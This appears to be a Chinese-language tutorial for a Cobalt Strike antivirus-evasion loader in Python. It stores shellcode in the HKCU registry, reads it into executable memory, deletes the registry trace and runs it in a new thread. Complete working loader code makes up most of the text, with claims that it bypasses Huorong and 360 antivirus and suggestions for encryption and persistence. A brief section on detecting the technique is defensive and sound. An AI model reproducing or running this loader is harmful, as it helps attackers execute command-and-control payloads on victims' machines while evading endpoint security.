CS免杀-RegQueryValueExA加载器
字数 1594 2025-08-09 18:44:03
基于RegQueryValueExA的CS免杀加载器技术详解
一、技术原理概述
本技术利用Windows注册表存储二进制数据的能力,通过API函数操作注册表实现Shellcode的存储和读取,最终在内存中执行,绕过传统杀毒软件的检测。
核心思路:
- 将Shellcode写入注册表(HKLM_CURRENT_USER)
- 使用RegQueryValueExA读取注册表中的Shellcode
- 将读取的内容存入申请的内存空间
- 创建线程执行内存中的Shellcode
二、关键API函数详解
1. RegSetValueExA
功能:设置注册表项下指定值的数据和类型
函数原型:
LSTATUS RegSetValueExA(
HKEY hKey,
LPCSTR lpValueName,
DWORD Reserved,
DWORD dwType,
const BYTE *lpData,
DWORD cbData
);
参数说明:
hKey:注册表键句柄,HKLM_CURRENT_USER对应值为-2147483647lpValueName:要设置的值名称Reserved:保留参数,设为None或0dwType:值类型,REG_BINARY(3)表示二进制数据lpData:要写入的数据(Shellcode)cbData:数据长度
Python调用示例:
ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf, len(buf))
2. RegQueryValueExA
功能:检索注册表项关联的指定值名称的类型和数据
函数原型:
LSTATUS RegQueryValueExA(
HKEY hKey,
LPCSTR lpValueName,
LPDWORD lpReserved,
LPDWORD lpType,
LPBYTE lpData,
LPDWORD lpcbData
);
参数说明:
hKey:注册表键句柄lpValueName:要查询的值名称lpReserved:保留参数,设为0lpType:接收值类型,设为None表示不需要lpData:接收数据的缓冲区指针lpcbData:输入时为缓冲区大小,输出时为实际数据大小
Python调用流程:
- 先查询数据长度
- 再读取实际数据
data_len = DWORD()
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, None, ptr, byref(data_len))
3. 内存操作相关API
VirtualAlloc:
LPBYTE = POINTER(c_byte)
ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTE
ptr = ctypes.windll.kernel32.VirtualAlloc(0, 800, 0x3000, 0x40)
AllocADsMem(替代方案):
ctypes.windll.Activeds.AllocADsMem.restype = LPBYTE
ptr = ctypes.windll.Activeds.AllocADsMem(len(buf))
ReallocADsMem(替代方案):
ctypes.windll.Activeds.ReallocADsMem.restype = LPBYTE
ptr = ctypes.windll.Activeds.ReallocADsMem(0, len(buf), len(buf))
4. 执行相关API
VirtualProtect:
ctypes.windll.kernel32.VirtualProtect(ptr, len(buf), 0x40, ctypes.byref(ctypes.c_long(1)))
CreateThread:
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, ctypes.pointer(ctypes.c_int(0)))
WaitForSingleObject:
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
三、完整实现流程
1. 准备工作
import ctypes
from ctypes import *
from ctypes.wintypes import *
# Shellcode示例(实际使用时替换为CS生成的Shellcode)
buf = b"\xfc\x48..."
2. 写入注册表
ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf, len(buf))
3. 申请内存
# 方法1:使用VirtualAlloc
LPBYTE = POINTER(c_byte)
ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTE
ptr = ctypes.windll.kernel32.VirtualAlloc(0, 800, 0x3000, 0x40)
# 方法2:使用AllocADsMem(绕过检测)
# ctypes.windll.Activeds.AllocADsMem.restype = LPBYTE
# ptr = ctypes.windll.Activeds.AllocADsMem(len(buf))
# 方法3:使用ReallocADsMem(绕过检测)
# ctypes.windll.Activeds.ReallocADsMem.restype = LPBYTE
# ptr = ctypes.windll.Activeds.ReallocADsMem(0, len(buf), len(buf))
4. 读取注册表内容到内存
data_len = DWORD()
# 第一次调用获取数据长度
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))
# 第二次调用读取实际数据
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, None, ptr, byref(data_len))
5. 清理注册表痕迹
ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")
6. 执行Shellcode
# 设置内存保护属性
ctypes.windll.kernel32.VirtualProtect(ptr, len(buf), 0x40, ctypes.byref(ctypes.c_long(1)))
# 创建线程执行
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, ctypes.pointer(ctypes.c_int(0)))
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
四、技术优势与绕过原理
- 注册表存储:将Shellcode存储在注册表中,避免直接出现在脚本或文件中
- 内存操作:使用非常规内存分配函数(如AllocADsMem)绕过内存检测
- API调用链:使用注册表操作API作为加载器,非传统Shellcode加载方式
- 动态加载:运行时才从注册表读取Shellcode,静态分析难以检测
- 痕迹清理:执行后立即删除注册表项,减少被发现的风险
五、防御与检测建议
- 注册表监控:监控HKLM_CURRENT_USER下的异常二进制值创建
- API调用序列检测:关注RegSetValueExA+RegQueryValueExA+CreateThread的调用链
- 内存保护检测:检测频繁修改内存保护属性的行为
- 非常规内存分配检测:关注AllocADsMem/ReallocADsMem等非常规内存分配函数的使用
- 注册表操作白名单:对关键注册表路径的操作进行限制
六、扩展思路
- 多段存储:将Shellcode分段存储在多个注册表值中,运行时合并
- 加密存储:在注册表中存储加密的Shellcode,运行时解密
- 延迟加载:先写入注册表,后续通过计划任务等方式触发加载
- 结合其他技术:与UUID、MAC、IPv4等加载器技术结合使用
- 持久化:将加载器设置为启动项实现持久化
七、注意事项
- 测试环境为Python 2.7,需使用CS生成的64位Shellcode
- 实际测试可绕过火绒、360等杀毒软件
- 不同Windows版本可能需要调整注册表操作权限
- 确保Shellcode长度不超过注册表值大小限制
- 操作完成后务必清理注册表痕迹